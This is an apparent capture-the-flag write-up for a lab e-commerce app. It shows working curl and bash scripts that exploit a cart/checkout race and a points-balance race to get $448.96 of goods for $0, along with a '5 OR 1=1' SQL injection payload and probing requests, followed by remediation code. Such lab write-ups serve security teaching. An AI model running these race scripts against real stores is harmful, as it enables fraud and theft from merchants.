BugForge - Cafe Club Lab Writeup
Executive Summary
Overall Risk Rating: π΄ Critical
Key Findings:
- Race Condition β Cart/Checkout TOCTOU (Critical) β CWE-367
- Race Condition β Points Balance TOCTOU (High) β CWE-367
- SQL Injection β Review Rating INSERT (Low) β CWE-89
Business Impact: An attacker can obtain unlimited merchandise at zero cost by exploiting a race condition between cart modification and checkout total calculation. Points balance races allow infinite loyalty point accumulation.
Objective
Find the flag in the Cafe Club e-commerce application.
Initial Access
# Target Application
URL: https://lab-1774194105236-5gtry4.labs-app.bugforge.io
# Credentials
# Registered via POST /api/register
Username: haxor
Auth: JWT HS256 Bearer token (no expiry)
JWT payload: {"id":5,"username":"haxor","iat":1774194129}
Key Findings
Critical & High-Risk Vulnerabilities
- Race Condition β Cart/Checkout TOCTOU (Critical) β CWE-367. Checkout calculates total from cart snapshot but doesnβt lock the cart. Items added during the ~1s processing window are included in the order at the stale total.
- Race Condition β Points Balance TOCTOU (High) β CWE-367. Concurrent checkouts read the same points balance before any deduction, allowing the same points to be spent N times.
- SQL Injection β Review Rating INSERT (Low) β CWE-89. The
ratingfield is interpolated into an INSERT query.parseIntvalidation is insufficient β the full string reaches the DB.
CVSS v3.1 Score for Cart/Checkout TOCTOU: 9.1 (Critical)
| Metric | Value |
|---|---|
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | Low |
| User Interaction | None |
| Scope | Unchanged |
| Confidentiality | None |
| Integrity | High |
| Availability | High |
Enumeration Summary
Application Analysis
Tech Stack:
- Backend: Express.js (X-Powered-By header)
- Frontend: React SPA (static/js/main.f72d2718.js)
- Database: SQLite (inferred from integer IDs, error behavior)
- Auth: JWT HS256, Bearer token, no expiry
Target Endpoints Discovered:
| Endpoint | Method | Purpose |
|---|---|---|
/api/cart |
GET, POST | View/add cart items |
/api/checkout |
POST | Process order with points/gift card/credit card |
/api/products |
GET | List 16 products ($8.99-$299.99) |
/api/giftcards |
GET | List gift cards and balance |
/api/giftcards/redeem |
POST | Redeem gift card code |
/api/profile |
GET, PUT | User profile with points balance |
/api/products/:id/reviews |
POST | Submit product reviews |
Business Logic:
- Points system: Earn floor(total) points per order. 1 point = $0.01 discount.
- Gift cards: Fixed $25 denominations, CAFE-XXXX-XXXX-XXXX format.
- Checkout flow: Cart total β subtract points β subtract gift card β charge card.
Attack Chain Visualization
βββββββββββββββββββββββ
β 1. Reconnaissance β
β Map 17 API β
β endpoints from β
β JS bundle β
ββββββββββ¬βββββββββββββ
β
βΌ
βββββββββββββββββββββββ
β 2. Test Business β
β Logic Controls β
β Mass assignment, β
β IDOR, gift cards β
β β all validated β
ββββββββββ¬βββββββββββββ
β
βΌ
βββββββββββββββββββββββ
β 3. Points Race β
β Concurrent β
β checkouts read β
β same balance β
β 8 pts β 3500+ pts β
ββββββββββ¬βββββββββββββ
β
βΌ
βββββββββββββββββββββββββββββββββββββββββββ
β 4. Cart/Checkout TOCTOU β
β β
β t=0ms Add Coffee Filters ($8.99) β
β t=50ms Fire checkout (total=$8.99) β
β t=200ms Add Espresso Machine ($299.99)β
β Add Coffee Grinder ($89.99) β
β Add Milk Frother ($49.99) β
β t=2100ms Checkout completes β
β Order has ALL 4 items β
β Total charged: $0 β
ββββββββββ¬βββββββββββββββββββββββββββββββββ
β
βΌ
βββββββββββββββββββββββ
β 5. Flag Captured β
β promotional_code β
β returned in β
β checkout response β
βββββββββββββββββββββββ
Attack Path Summary:
- Extract all API endpoints from React JS bundle
- Test business logic controls β all standard vectors properly validated
- Discover points balance TOCTOU via concurrent checkouts
- Farm points: 15 concurrent Espresso Machine checkouts from 8 points β 3500+ points
- Exploit cart/checkout TOCTOU: add cheap item, fire checkout, add expensive items during processing window
- Flag returned as
promotional_codewhen order value exceeds amount paid
Exploitation Path
Step 1: Reconnaissance β API Endpoint Mapping
Extracted all 17 API endpoints from the React JS bundle (static/js/main.f72d2718.js). Identified the full e-commerce flow: product catalog, cart management, checkout with points/gift cards/credit card, user profiles, and reviews.
Step 2: Business Logic Testing (Dead Ends)
Systematically tested standard e-commerce attack vectors:
- Mass assignment (profile PUT): Server filters writes β only
full_name,address,phone,emailupdatable. Points/role ignored. - Gift card manipulation: Negative, 0, 0.01, 999999 amounts all rejected. Fixed denominations only.
- Price injection: Extra fields (
price,total) in cart/checkout ignored. Server calculates from DB. - IDOR on orders: Filtered by
user_idfrom JWT. - Hidden endpoints:
/api/admin,/api/flag,/api/debugβ all return SPA HTML fallback.
All standard vectors properly validated.
Step 3: SQL Injection Discovery
Found injectable rating field in POST /api/products/:id/reviews:
POST /api/products/1/reviews HTTP/2
Content-Type: application/json
Authorization: Bearer <jwt>
{"rating": "5 OR 1=1", "comment": "test"}
parseInt("5 OR 1=1") returns 5 (passes 1-5 validation), but the full string reaches the INSERT query. 500 βDatabase errorβ response. INSERT-only context, no stacked queries, no data extraction. Low impact but confirms unsafe query construction.
Step 4: Points Balance Race Condition
Tested concurrent checkout requests β confirmed TOCTOU on points balance:
# 3 concurrent checkouts from a 16-point balance
# Each reads balance=16, passes points_to_use<=16 check
# All 3 succeed β 48 points spent from 16-point balance
for i in {1..3}; do
curl -s -X POST "$HOST/api/checkout" \
-H "Authorization: $TOKEN" \
-H "Content-Type: application/json" \
-d '{"points_to_use":16,"use_gift_card":false,"card_number":"4444 4444 4444 4444","card_expiry":"12/25","card_cvc":"123"}' &
done
wait
Scaled to 15 concurrent Espresso Machine ($299.99) checkouts from 8 points, each earning floor(299.99) = 299 points. Accumulated 3500+ points.
Step 5: Cart/Checkout TOCTOU β The Kill Shot
Key insight: the checkout endpoint has a ~1s processing window. Items added to the cart during this window are included in the order but not in the total calculation.
TOKEN="Bearer <jwt>"
HOST="https://lab-1774194105236-5gtry4.labs-app.bugforge.io"
# 1. Add cheap item to cart
curl -s -X POST "$HOST/api/cart" \
-H "Content-Type: application/json" \
-H "Authorization: $TOKEN" \
-d '{"product_id":14,"quantity":1}'
# 2. Fire checkout (calculates total = $8.99)
curl -s -X POST "$HOST/api/checkout" \
-H "Content-Type: application/json" \
-H "Authorization: $TOKEN" \
-d '{"points_to_use":899,"use_gift_card":false,"card_number":"4444 4444 4444 4444","card_expiry":"12/25","card_cvc":"123"}' &
# 3. 150ms later, add expensive items
sleep 0.15
curl -s -X POST "$HOST/api/cart" \
-H "Content-Type: application/json" \
-H "Authorization: $TOKEN" \
-d '{"product_id":9,"quantity":1}' & # Espresso Machine $299.99
curl -s -X POST "$HOST/api/cart" \
-H "Content-Type: application/json" \
-H "Authorization: $TOKEN" \
-d '{"product_id":10,"quantity":1}' & # Coffee Grinder $89.99
curl -s -X POST "$HOST/api/cart" \
-H "Content-Type: application/json" \
-H "Authorization: $TOKEN" \
-d '{"product_id":11,"quantity":1}' & # Milk Frother $49.99
wait
Checkout response:
{
"message": "Order placed successfully",
"order_id": 54,
"total": 0,
"gift_card_used": 0,
"points_used": 899,
"points_earned": 0,
"new_points_balance": 1537,
"promotional_code": "bug{VBxyJ5hX4y3vMPA7RYNQnAUVfPgahmCC}"
}
Order #54 contained all 4 items ($448.96 total value) charged at $0. The 899 points covered the stale $8.99 total. The flag was returned as promotional_code because the order value massively exceeded the amount paid.
Flag / Objective Achieved
β
Flag: bug{VBxyJ5hX4y3vMPA7RYNQnAUVfPgahmCC}
- Items ordered: Espresso Machine ($299.99), Coffee Grinder ($89.99), Milk Frother ($49.99), Coffee Filters ($8.99)
- Total value: $448.96
- Amount charged: $0
Key Learnings
- TOCTOU in e-commerce: Checkout flows that read cart contents and calculate totals without locking the cart are vulnerable to race conditions. The total must be calculated atomically with order creation.
- Race conditions chain together: The points balance race enabled the cart/checkout race by providing the farmed points needed to cover the cheap itemβs cost.
- Business logic > injection: Extensive SQLi testing found only a low-impact INSERT injection. The critical vulnerability was pure business logic β no traditional web vuln class.
- JS bundle is a goldmine: All 17 API endpoints extracted from the React bundle before any testing began.
- Timing is everything: The 150ms delay between checkout and cart additions was crucial. Too early = checkout hasnβt started; too late = order already created.
Tools Used
- curl β API endpoint testing, race condition exploitation
- Browser DevTools β JS bundle analysis, API endpoint extraction
- Bash (background jobs + sleep) β Race condition timing orchestration
- jq β JSON response parsing
Remediation
1. Cart/Checkout TOCTOU Race Condition (CVSS: 9.1 - Critical)
Issue: Checkout calculates total from cart contents at the start of processing but doesnβt lock the cart. Items added during the ~1s processing window are included in the order at the stale total. CWE Reference: CWE-367 β Time-of-check Time-of-use (TOCTOU) Race Condition
Fix:
// BEFORE (Vulnerable)
app.post('/api/checkout', async (req, res) => {
const cart = await getCart(req.user.id);
const total = calculateTotal(cart);
// ... long processing (payment, validation) ...
const order = await createOrder(req.user.id, cart, total);
// Cart items added between getCart() and createOrder() are included
// but not reflected in total
});
// AFTER (Secure)
app.post('/api/checkout', async (req, res) => {
await db.run('BEGIN EXCLUSIVE TRANSACTION');
try {
const cart = await getCart(req.user.id);
const total = calculateTotal(cart);
await clearCart(req.user.id);
const order = await createOrder(req.user.id, cart, total);
await db.run('COMMIT');
} catch (err) {
await db.run('ROLLBACK');
throw err;
}
});
2. Points Balance TOCTOU Race Condition (CVSS: 7.5 - High)
Issue: Multiple concurrent checkout requests read the same points balance before any deduction, allowing the same points to be spent N times. CWE Reference: CWE-367 β Time-of-check Time-of-use (TOCTOU) Race Condition
Fix:
-- BEFORE (Vulnerable): Read then update in separate operations
SELECT points FROM users WHERE id = ?;
-- ... validate points_to_use <= points ...
UPDATE users SET points = points - ? WHERE id = ?;
-- AFTER (Secure): Atomic check-and-deduct
UPDATE users SET points = points - ?
WHERE id = ? AND points >= ?;
-- Check affected rows β 0 means insufficient balance
3. SQL Injection β Review Rating (CVSS: 3.7 - Low)
Issue: The rating field is interpolated into an INSERT query after parseInt validation. The raw string reaches the database.
CWE Reference: CWE-89 β SQL Injection
Fix:
// BEFORE (Vulnerable)
const query = `INSERT INTO reviews (product_id, user_id, rating, comment)
VALUES (${productId}, ${userId}, ${rating}, '${comment}')`;
// AFTER (Secure)
const query = `INSERT INTO reviews (product_id, user_id, rating, comment)
VALUES (?, ?, ?, ?)`;
db.run(query, [productId, userId, parseInt(rating), comment]);
Failed Attempts
Approach 1: Mass Assignment on Profile
PUT /api/profile HTTP/2
Content-Type: application/json
Authorization: Bearer <jwt>
{"points": 99999, "role": "admin", "full_name": "test"}
Result: Failed β Server filters writable fields. Only full_name, address, phone, email accepted. Points and role changes silently ignored.
Approach 2: Gift Card Amount Manipulation
POST /api/giftcards/purchase HTTP/2
Content-Type: application/json
Authorization: Bearer <jwt>
{"amount": -25, "card_number": "4444 4444 4444 4444", "card_expiry": "12/25", "card_cvc": "123"}
Result: Failed β βInvalid gift card amountβ. All non-standard amounts (negative, 0, 0.01, 999999) rejected. Fixed denominations only.
Approach 3: Price/Total Injection at Checkout
POST /api/checkout HTTP/2
Content-Type: application/json
Authorization: Bearer <jwt>
{"points_to_use": 0, "total": 0, "price": 0, "use_gift_card": false, ...}
Result: Failed β Extra fields ignored. Server calculates total from database product prices.
Approach 4: Hidden Endpoints
for path in admin users flag config debug; do
curl -s "$HOST/api/$path" -H "Authorization: $TOKEN"
done
Result: Failed β All return SPA HTML fallback (React catch-all route). Endpoints donβt exist on the backend.
OWASP Top 10 Coverage
- A04:2021 β Insecure Design (checkout flow lacks race condition protections; cart not locked during processing)
- A03:2021 β Injection (SQL injection in review rating field, INSERT-only context)
- A08:2021 β Software and Data Integrity Failures (order total calculated from stale cart state)
References
Race Condition Resources:
- CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition
- OWASP Race Condition
- PortSwigger: Race Conditions
SQL Injection Resources:
Tags: #race-condition #TOCTOU #e-commerce #business-logic #SQLi #BugForge